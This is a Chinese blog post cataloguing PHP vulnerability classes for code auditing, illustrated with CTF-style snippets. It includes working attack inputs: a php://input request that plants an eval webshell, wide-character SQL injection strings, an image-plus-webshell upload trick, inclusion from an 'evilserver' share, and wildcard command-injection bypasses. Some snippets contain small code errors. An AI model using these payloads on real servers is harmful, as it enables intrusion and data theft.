PHP代碼審計歸納-Ali0th

Author : 木禾/Ali0th

Date : 2018-3-21

Email : [email protected]

說明 :個人歸納的php漏洞類型,有修改請私信或留言。

大家好,我的網名是木禾,技術領域的 ID 是 Ali0th,這一篇是我在18年編寫的PHP代碼審計歸納,之前發在了 t00ls 和 gtihub 上,現在經營着這個博客,也把以前寫的東西慢慢搬上來。如果能幫到你,請點個贊吧。

github : 【地址】

在這裏插入圖片描述

變量覆蓋

extract()

該函數使用數組鍵名作爲變量名,使用數組鍵值作爲變量值。針對數組中的每個元素,將在當前符號表中創建對應的一個變量。條件:若有EXTR_SKIP則不行。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
# 結果:$a = Cat; $b = Dog; $c = Horse

這裏原來是aoriginalextracta是original,後面通過extract把a覆蓋變成了Cat了,所以這裏把原來的變量給覆蓋了。

#?shiyan=&flag=1
<?php
$flag='xxx';
extract($_GET);
 if(isset($shiyan))
 {
    $content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
    if($shiyan==$content)
    {
        echo'ctf{xxx}';
    }
   else
   {
    echo'Oh.no';
   }
   }

parse_str()

解析字符串並註冊成變量

$b=1;
Parse_str('b=2');
Print_r($b); # 結果: $b=2

import_request_variables()

GET/POST/Cookie 變量導入到全局作用域中,全局變量註冊。
在5.4之後被取消,只可在4-4.1.05-5.4.0可用。
//導入POST提交的變量值,前綴爲post_
import_request_variable("p""post_");
//導入GET和POST提交的變量值,前綴爲gp_,GET優先於POST
import_request_variable("gp""gp_");
//導入Cookie和GET的變量值,Cookie變量值優先於GET
import_request_variable("cg""cg_");

$$變量覆蓋

## 提交參數chs,則可覆蓋變量"$chs"的值。$key爲chs時,$$key就變成$chs
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value){
        $$key = $chs->Convert($value);
    }
    unset($chs);
}

全局變量覆蓋漏洞

原理:
register_globals 是php中的一個控制選項,可以設置成off或者on, 默認爲off, 決定是否將 EGPCS(Environment,GET,POST,Cookie,Server)變量註冊爲全局變量。
如果register_globals打開的話, 客戶端提交的數據中含有GLOBALS變量名, 就會覆蓋服務器上的$GLOBALS變量.

$_REQUEST 這個超全局變量的值受 php.inirequest_order的影響,在php5.3.x系列中,request_order默認值爲GP,也就是說默認配置下$_REQUEST只包含$_GET$_POST而不包括$_COOKIE。通過COOKIE就可以提交GLOBALS變量。

<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;

//爲了安全取消全局變量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];

經過測試,開了register_globals會卡死

繞過過濾的空白字符

原理:https://baike.baidu.com/item/控制字符

控制碼
"\0" "%00" (ASCII  0 (0x00)),空字節符。

製表符
"\t" (ASCII  9 (0x09)),水平製表符。

空白字符:
"\n" (ASCII 10 (0x0A)),換行符。
"\v" "\x0b" (ASCII  11 (0x0B)),垂直製表符。
"\f" "%0c" 換頁符
"\r" "%0d"(ASCII  13 (0x0D)),回車符。

空格:
" " "%20" (ASCII  32 (0x20)),普通空格符。

而trim過濾的空白字符有

string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )

其中缺少了\f

2 函數對空白字符的特性

is_numeric函數在開始判斷前,會先跳過所有空白字符。這是一個特性。

也就是說,is_numeirc(" \r\n \t 1.2")是會返回true的。同理,intval(" \r\n \t 12"),也會正常返回12。

案例

https://github.com/bowu678/php_bugs/blob/master/02 繞過過濾的空白字符.php

#?number=%00%0c191
# 1 %00繞過is_numeric
# 2 \f(也就是%0c)在數字前面,trim,intval和is_numeric都會忽略這個字符

intval整數溢出

php整數上限溢出繞過intval

intval 函數最大的值取決於操作系統。
32 位系統最大帶符號的 integer 範圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval(‘1000000000000’) 會返回 2147483647。
64 位系統上,最大帶符號的 integer 值是 9223372036854775807。

intval 四捨五入

# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 這裏過濾只有一個intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
    }
  else{
    echo($query[content]);
  }
}

浮點數精度忽略

if ($req["number"] != intval($req["number"]))

在小數小於某個值(10^-16)以後,再比較的時候就分不清大小了。
輸入number = 1.00000000000000010, 右邊變成1.0, 而左與右比較會相等。

多重加密

題目中有:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}

本地則寫:

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>

截斷

iconv 異常字符截斷

## 因iconv遇到異常字符就不轉後面的內容了,所以可以截斷。
## 這裏chr(128)到chr(255)都可以截斷。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //將字符串的編碼從UTF-8轉到gbk
echo iconv('GB2312', 'UTF-8', $str); //將字符串的編碼從GB2312轉到UTF-8

eregi、ereg可用%00截斷

功能:正則匹配過濾
條件:要求php<5.3.4

## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*
#GET方式提交password,然後用ereg()正則限制了password的形式,只能是一個或者多個數字、大小寫字母,繼續strlen()限制了長度小於8並且大小必須大於9999999,繼續strpos()對password進行匹配,必須含有-,最終才輸出flag
#因爲ereg函數存在NULL截斷漏洞,導致了正則過濾被繞過,所以可以使用%00截斷正則匹配。
#對於另一個難題可以使用科學計數法表示,計算器或電腦表達10的的冪是一般是e,也就是1.99714e13=19971400000000,所以構造 1e8 即 100000000 > 9999999,在加上-。於是乎構造password=1e8%00*-*,成功得到答案
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}

move_uploaded_file 用\0截斷

5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7

在高版本(受影響版本中),PHP把長度比較的安全檢查邏輯給去掉了,導致了漏洞的發生

cve:https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348

move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")
上傳抓包修改name爲a.php\0jpg(\0是nul字符),可以看到$_FILES['xx']['name']存儲的字符串是a.php,不會包含\0截斷之後的字符,因此並不影響代碼的驗證邏輯。
但是如果通過$_REQUEST方式獲取的,則可能出現擴展名期望值不一致的情況,造成“任意文件上傳”。

inclue用?截斷

<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>

當輸入的文件名包含URL時,問號截斷則會發生,並且這個利用方式不受PHP版本限制,原因是Web服務其會將問號看成一個請求參數。

測試POC:http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt?
則會打開secret.txt中的文件內容。本測試用例在PHP5.5.38版本上測試通過。

系統長度截斷

這種方式在PHP5.3以後的版本中都已經得到了修復。
win260個字符,linux下4*1024=4096字節

mysql長度截斷

mysql內的默認字符長度爲255,超過的就沒了。
由於mysql的sql_mode設置爲default的時候,即沒有開啓STRICT_ALL_TABLES選項時,MySQL對於插入超長的值只會提示warning

mysql中utf-8截斷

insert into dvwa.test values (14,concat("admin",0xc1,"abc"))

寫入爲admin

弱類型比較

原理

比較表:http://php.net/manual/zh/types.comparisons.php

以下等式會成立

'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

==、>、<的弱類型比較

這裏用到了PHP弱類型的一個特性,當一個整形和一個其他類型行比較的時候,會先把其他類型轉換成整型再比。

##方法1
##$a["a1"]="1e8%00";
##這裏用%00繞過is_numeric,然後1e8可以比1336大,因此最後能$v1=1
##方法2
##$a["a1"]=["a"];
##使用數組,可以,因爲數組恆大於數字或字符串
##方法3
##$a["a1"]=1337a;
##1337a過is_numeric,又由>轉成1337與1336比較
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
        var_dump($a);
        ($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);

switch 弱類型

// 第一種:弱類型,1e==1
// $x1=1e
// 第二種:利用數組名字bypass
// $x1=1[]
// 傳入後爲string(3) "1[]",但在switch那裏爲1
if (isset($_GET['x1']))
{
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}

md5比較(0e相等、數組爲Null)

md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 純數字這種格式的字符串在判斷相等的時候會被認爲是科學計數法的數字,先做字符串到數字的轉換。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

這樣的對應數值還有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

技巧:找出在某一位置開始是0e的,幷包含“XXX”的字符串

#方法1
#s1=QNKCDZO&s2=240610708
#方法2
#?s1[]=1&s2[]=2
#利用md5中md5([1,2,3]) == md5([4,5,6]) ==NULL,md5一個list結果爲Null
#則可以使:[1] !== [2] && md5([1]) ===md5([2])
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
##這裏沒有弱類型,但可以讓$r查出來是Null,然後提交md5裏放數組得Null,於是Null===Null
$name = addslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if ($r['pass'] === md5($_POST['pass'])) {
echo "success";
}

json傳數據{“key”:0}

PHP將POST的數據全部保存爲字符串形式,也就沒有辦法注入數字類型的數據了而JSON則不一樣,JSON本身是一個完整的字符串,經過解析之後可能有字符串,數字,布爾等多種類型。

application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml

第一個application/x-www-form-urlencoded,是一般表單形式提交的content-type第二個,是包含文件的表單。第三,四個,分別是json和xml,一般是js當中上傳的.

{“key”:“0”}

這是一個字符串0,我們需要讓他爲數字類型,用burp攔截,把兩個雙引號去掉,變成這樣:

{“key”:0}

strcmp漏洞1:返回0

適用與5.3之前版本的php

int strcmp ( string $str1 , string $str2 )
// 參數 str1第一個字符串。str2第二個字符串。如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
當這個函數接受到了不符合的類型,這個函數將發生錯誤,但是在5.3之前的php中,顯示了報錯的警告信息後,將return 0,所以可以故意讓其報錯,則返回0,則相等了。

##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}

strcmp漏洞2:返回Null

修復了上面1的返回0的漏洞,即大於5.3版本後,變成返回NULL。
array和string進行strcmp比較的時候會返回一個null,因爲strcmp只會處理字符串參數,如果給個數組的話呢,就會返回NULL。

strcmp($c[1],$d)

strcmp漏洞3: 判斷使用的是 ==

而判斷使用的是==,當NULL==0是 bool(true)

in_array,array_search 弱類型比較

鬆散比較下,任何string都等於true:

// in_array('a', [true, 'b', 'c'])       // 返回bool(true),相當於數組裏面有字符'a'
// array_search('a', [true, 'b', 'c'])   // 返回int(0),相當於找到了字符'a'
// array_search 會使用'ctf'和array中的每個值作比較,這裏的比較也是弱比較,所以intval('ctf')==0.
if(is_array(@$a["a2"])){
        if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
        $pos = array_search("ctf", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["a2"] as $key=>$val){
            $val==="ctf"?die("nope"):NULL;
        }
        $v2=1;
}

sha1() md5() 報錯相等繞過(False === False)

sha1()函數默認的傳入參數類型是字符串型,給它傳入數組會出現錯誤,使sha1()函數返回錯誤,也就是返回false

md5()函數如果成功則返回已計算的 MD5 散列,如果失敗則返回 FALSE。可通過傳入數組,返回錯誤。

##?name[]=1&password[]=2
## === 兩邊都是false則成立
if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);

strpos數組NULL(Null !== False)

strpos()輸入數組出錯返回null

#既要是純數字,又要有’#biubiubiu’,strpos()找的是字符串,那麼傳一個數組給它,strpos()出錯返回null,null!==false,所以符合要求. 所以輸入nctf[]= 那爲什麼ereg()也能符合呢?因爲ereg()在出錯時返回的也是null,null!==false,所以符合要求.
<?php
$flag = "flag";
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截斷
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }

十六進制與十進制比較

== 兩邊的十六進制與十進制比較,是可以相等的。

#?password=0xdeadc0de
#echo  dechex ( 3735929054 ); // 將3735929054轉爲16進制結果爲:deadc0de
<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 碼值
    $nine = ord('9'); //ord — 返回字符的 ASCII 碼值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允許,但0允許
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

md5注入帶入’or’

原理:

md5(string,raw)
raw    可選。規定十六進制或二進制輸出格式:
    TRUE - 原始 16 字符二進制格式
    FALSE - 默認。32 字符十六進制數

當md5函數的第二個參數爲True時,編碼將以16進制返回,再轉換爲字符串。而字符串’ffifdyop’的md5加密結果爲'or'<trash> 其中 trash爲垃圾值,or一個非0值爲真,也就繞過了檢測。

## 執行順序:字符串:ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)將16進制轉成字符串`'or'<trash>`->sql執行`'or'<trash>`造成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";

switch沒有break

#這裏case 0 和 1 沒有break,使得程序繼續往下執行。
<?php
error_reporting(0);
if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

反序列化

<!-- index.php -->
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
<!-- showimg.php -->
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        //stripos — 查找字符串首次出現的位置(不區分大小寫)
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
#?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;

?>

<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

文件包含

原理:

include()/include_once(),require()/require_once(),中的變量可控

利用方法:

  1. 上傳圖片(含有php代碼的圖片)
  2. 讀文件,讀php文件
  3. 包含日誌文件getshell
  4. 包含/proc/self/envion文件getshell
  5. 如果有phpinfo可以包含臨時文件
  6. 包含data://或php://input等僞協議(需要allow_url_include=On)

封裝協議:

file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
## 訪問共享目錄
include ('\evilservershell.php');
## post提交數據
<?php
  include($_GET['url']);
?>
## http://127.0.0.1/111332.php?url=php://input
## POST內容爲:
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>

提交參數無過濾

原理:過濾了GPC,但沒有過濾其它部分。

上傳文件相關變量如$_FIle
$_GET$_POST$_Cookie$_SERVER$_ENV$_SESSION$_REQUEST
HTTP_CLIENT_IP 和HTTP_XFORWORDFOR 中的ip不受gpc影響
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS

案例:

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

通過表單來傳值。

<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit">
</form>

這裏的gid爲查詢參數

$_SERVER                 //中用戶能夠控制的變量,php5.0後不受GPC影響
QUERY_STRING             //用戶GET方法提交時的查詢字符串
HTTP_REFERER             //用戶請求的來源變量,在一些程序取得用戶訪問記錄時用得比較多
HTTP_USER_AGENT          //用戶的瀏覽器類型,也用於用戶的訪問記錄的取得
HTTP_HOST                //提交的主機頭等內容
HTTP_X_FORWARDED_FOR     //用戶的代理主機的信息

僞造IP

原理:以 HTTP_ 開頭的 header, 均屬於客戶端發送的內容。那麼,如果客戶端僞造user-agent/referer/client-ip/x-forward-for,就可以達到僞造IP的目的,php5之後不受GPC影響。

關鍵字:
HTTP_
getenv
$_SERVER
服務端:
echo getenv('HTTP_CLIENT_IP');
echo $_SERVER['REMOTE_ADDR']; //訪問端(有可能是用戶,有可能是代理的)IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可僞造)
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用戶是在哪個IP使用的代理(有可能存在,也可以僞造)
客戶端:
注意發送的格式:
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10
#這個玩意恆成立的。不管有沒有clientip
strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')

繞過正則匹配

缺少^和$限定

數組繞過正則

\A[ _a-zA-Z0-9]+\z

str_replace路徑穿越

原理:str_replace的過濾方式爲其search參數數組從左到右一個一個過濾。

## 這裏可以被繞過,因爲是對.和/或\的組合的過濾,所以單獨的..或\/沒有檢測到。
## 方法1
## 五個點加///
## 方法2
## ...././/
$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替換數量';
echo $countb;
## 這裏有對單獨的.進行過濾,所以無法繞過。
$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替換數量';
echo $counta;

short_open_tag=on 短標籤

原理:當 php.ini 的short_open_tag=on時,PHP支持短標籤,默認情況下爲off。格式爲:<?xxxx;?> --> <?xxx;

Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld

file_put_contents第二個參數傳入數組

原理:

file_put_contents(file,data,mode,context)
file    必需。規定要寫入數據的文件。如果文件不存在,則創建一個新文件。
data    可選。規定要寫入文件的數據。可以是字符串、數組或數據流。如果是數組的話,將被連接成字符串再進行寫入。
## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
## 這個要從burp去傳,因爲後面的【?】會被理解爲參數而截斷
<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);

單引號和雙引號

原理:單引號或雙引號都可以用來定義字符串。但只有雙引號會調用解析器。

# 1
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
# 2
$abc='I love u';
echo $abc //結果是:I love u
echo '$abc' //結果是:$abc
echo "$abc" //結果是:I love u
# 3
$a="${@phpinfo()}"; //可以解析出來
<?php $a="${@phpinfo()}";?> //@可以爲空格,tab,/**/ ,回車,+,-,!,~,\等

查詢語句缺少單引號

"Select * from table where id=$id" # 有注入
"Select * from table where id=".$id." limit 1" # 有注入
"Select * from table where id='$id'" # 無注入
"Select * from table where id='".$id."' limit 1" # 無注入

寬字符注入

原理:

常見轉碼函數:
iconv()
mb_convert_encoding()
addslashes

防禦:

用mysql_real_escape_string

## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+
## %df把\給吃掉,所以這裏可以繞過addslashes的轉義
$pwd = addslashes($pwd);
mysql_query("SET NAMES gbk");
$query = "select * from user where uname='".$uname."' and pwd='".$pwd."'";

跳轉無退出

原理:沒有使用return()或die()或exit()退出流程的話,下面的代碼還是會繼續執行。可以使用burp測試,不會跳轉過去。

## 1
$this->myclass->notice('alert("系統已安裝過");window.location.href="'.site_url().'";');
## 2
header("location: ../index.php");

二次編碼注入

由於瀏覽器的一次urldecode,再由服務器端函數的一次decode,造成二次編碼,而繞過過濾。如%2527,兩次urldecode會最後變成’

base64_decode -- 對使用 MIME base64 編碼的數據進行解碼
base64_encode -- 使用 MIME base64 對數據進行編碼
rawurldecode -- 對已編碼的 URL 字符串進行解碼
rawurlencode -- 按照 RFC 1738 對 URL 進行編碼
urldecode -- 解碼已編碼的 URL 字符串
urlencode -- 編碼 URL 字符串
unserialize/serialize
字符集函數(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

前端可控變量填充導致XSS

當html裏的鏈接是變量時,易出現XSS。

={#、echo、print、printf、vprintf、<%=$test%>
img scr={#$list.link_logo#}

命令執行函數

system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引號調用shell_exec()函數
popen()proc_open() //不會返回結果
array_map($arr,$array); //爲數組的每個元素應用回調函數arr,如$arr = "phpinfo"
popen('whoami >>D: /2.txt', 'r'); //這樣就會在D下生成一個2.txt。
preg_replace()
ob_start()
array_map()

防範方法:

  1. 使用自定義函數或函數庫來替代外部命令的功能
  2. 使用escapeshellarg 函數來處理命令參數
  3. 使用safe_mode_exec_dir 指定可執行文件的路徑

create_function

create_function構造了一個return後面的語句爲一個函數。

#?sort_by="]);}phpinfo();/*
#sort_function就變成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
#前面閉合,然後把後面的全部註釋掉了。
<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));

mb_ereg_replace()的/e模式

原理

mb_ereg_replace()是支持多字節的正則表達式替換函數,函數原型如下:
string mb_ereg_replace  ( string $pattern , string $replacement  , string $string  [, string $option= "msr"  ] )
當指定mb_ereg(i)_replace()的option參數爲e時,replacement參數[在適當的逆向引用替換完後]將作爲php代碼被執行.

preg_replace /e模式執行命令

# ?str=[phpinfo()]
# 這裏使用/e模式,所以第二個參數\\1這裏可以執行。
# 通過$_GET傳入值,第一個參數正則,把[]去掉,放到了第二個參數裏\\1,執行。
preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);

動態函數執行

call_user_func
call_user_func_array
# ?a=assert
call_user_func($_GET['a'],$b);

代碼執行

assert()
call_user_func()
call_user_func_array()
create_function()

eval()和assert()代碼執行

當assert()的參數爲字符串時 可執行PHP代碼。
區別:assert可以不加;,eval不可以不加。

eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】

優先級繞過

原理:如果運算符優先級相同,那運算符的結合方向決定了該如何運算
http://php.net/manual/zh/language.operators.precedence.php

優先級:&&/|| 大於 = 大於 AND/OR

# ($test = true) and false; $test2 = (true && false);
$test = true and false; var_dump($test);//bool(true)
$test2 = true && false; var_dump($test2); //bool(false)
# 當有兩個is_numeric判斷並用and連接時,and後面的is_numeric可以繞過
$test3 = is_numeric("123") and is_numeric("anything false"); var_dump($test3); //bool(true)

getimagesize圖片判斷繞過

原理:

當用getimagesize判斷文件是否爲圖片,可以判斷的文件爲gif/png/jpg,如果指定的文件如果不是有效的圖像,會返回 false。
只要我們在文件頭部加入GIF89a後可以上傳任意後綴文件。

生成小馬圖的方法:

cat image.png webshell.php > image.php
## 找上傳點
## 文件頭部加入GIF89a
# 1
$file = $request->getFiles();
# 2
if(getimagesize($files['users']['photo']['tmp_name']))
        {
          move_uploaded_file($files['users']['photo']['tmp_name'], $filename);
# 3
$filesize = @getimagesize('/path/to/image.png');
if ($filesize) {
    do_upload();
}

<變*,windows findfirstfile利用

原理:Windows下,在搜索文件的時候使用了FindFirstFile這一個winapi函數,該函數到一個文件夾(包含子文件夾)去搜索指定文件。
執行過程中,字符">“被替換成”?",字符"<“被替換成”*",而符號"(雙引號)被替換成一個"."字符。所以:

  1. “>”">>“可代替一個字符,”<“可以代替後綴名多個字符(即.後的字符),”<<"可以代替包括文件名和後綴名多個字符。所以一般使用<<
  2. " 可以代替.
  3. 文件名第一個字符是"."的話,讀取時可以忽略之
NO Status Function Type of operation
1. OK include() Includefile
2. OK include_once() Includefile
3. OK require() Includefile
4. OK require_once() Include file
5. OK fopen() Openfile
6. OK ZipArchive::open() Archive file
7. OK copy() Copyfile
8. OK file_get_contents() Readfile
9. OK parse_ini_file() Readfile
10. OK readfile() Readfile
11. OK file_put_contents() Write file
12. OK mkdir() New directory creation
13. OK tempnam() New file creation
14. OK touch() New file creation
15. OK move_uploaded_file() Move operation
16. OK opendiit) Directory operation
17. OK readdir() Directory operation
18. OK rewinddir() Directory operation
19. OK closedir() Directory operation
20. FAIL rename() Move operation
21. FAIL unlink() Delete file
22. FAIL rmdir()) Directory operation
## ?file=1<
## ?file=1>
## ?file=1"txt
文件名爲1.txt

## ?file=1234.tx>
## ?file=1234.<
## ?file=1<<
## ?file=1<<">
## ?file=123>">
## ?file=>>>4">
## ?file=<<4">
文件名爲1234.txt

include('shell<');
include('shell<<');
include('shell.p>p');
include('shell"php');
fopen('.htacess');  //==>fopen("htacess');
file_get_contents('C:boot.ini'); //==>  file_get_contents ('C:/boot.ini');
file_get_contents('C:/tmp/con.jpg'); //此舉將會無休無止地從CON設備讀取0字節,直到遇到eof
file_put_contents('C:/tmp/con.jpg',chr(0×07));  //此舉將會不斷地使服務器發出類似嗶嗶的聲音

Linux 通配符利用

原理:linux下,*代表任意字符(0到多個),?代表一個字符,所以如果是有執行linux系統命令,那就可以用這些通配符來繞過過濾,並執行我們想要的命令

<?php
## 本地flag路徑爲 /data/sublime/php/audit/3/flag.txt
## ?filename='/????/???????/???/?????/?/*'
function waf($file){
    return preg_replace('/[a-z0-9.]/i', '', "$file");
}
$filename = $_GET['file'];
$file = waf($filename);
echo $file;
system('less '.$file);

處理value沒有處理key

foreach時,addslashes對獲得的value值進行處理,但沒有處理key。

用來目錄遍歷的特別函數

http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-088094

lstat 函數

http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-088071
stream_resolve_include_path函數

http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083688

http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083457

http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-083453

繞過GD庫圖片渲染

jpg_payload.zip

jpg_name.jpg是待GD處理的圖片

php jpg_payload.php <jpg_name.jpg>

